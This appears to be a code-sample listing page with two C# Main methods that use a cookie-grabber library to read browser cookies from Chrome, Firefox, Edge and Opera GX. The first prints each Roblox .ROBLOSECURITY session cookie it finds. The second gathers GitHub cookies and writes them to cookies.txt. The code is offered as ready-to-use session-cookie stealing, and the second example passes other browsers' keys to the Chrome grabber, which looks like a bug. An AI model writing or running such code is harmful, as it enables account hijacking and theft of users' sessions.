Exemplo n.º 1
0
        static void Main(string[] args)
        {
            ChromeGrabber cg = new ChromeGrabber(); FirefoxGrabber fg = new FirefoxGrabber(); EdgeGrabber eg = new EdgeGrabber(); OperaGxGrabber og = new OperaGxGrabber();

            if (cg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".roblox.com", cg.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (fg.CookiesExists())
            {
                foreach (var item in fg.GetCookiesByHostname(".roblox.com"))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (eg.CookiesExists())
            {
                foreach (var item in eg.GetCookiesByHostname(".roblox.com", eg.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (og.CookiesExists())
            {
                foreach (var item in og.GetCookiesByHostname(".roblox.com", og.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            Console.ReadKey();
        }
Exemplo n.º 2
0
        static void Main(string[] args)
        {
            StringBuilder githubCookies = new StringBuilder();

            ChromeGrabber cg = new ChromeGrabber(); FirefoxGrabber fg = new FirefoxGrabber(); EdgeGrabber eg = new EdgeGrabber(); OperaGxGrabber og = new OperaGxGrabber();

            if (cg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", cg.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (fg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", fg.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (eg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", eg.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (og.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", og.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }


            File.WriteAllText("cookies.txt", githubCookies.ToString());
            Console.WriteLine("Cookies Grabbed and saved Successfully!");
            Console.ReadKey();
        }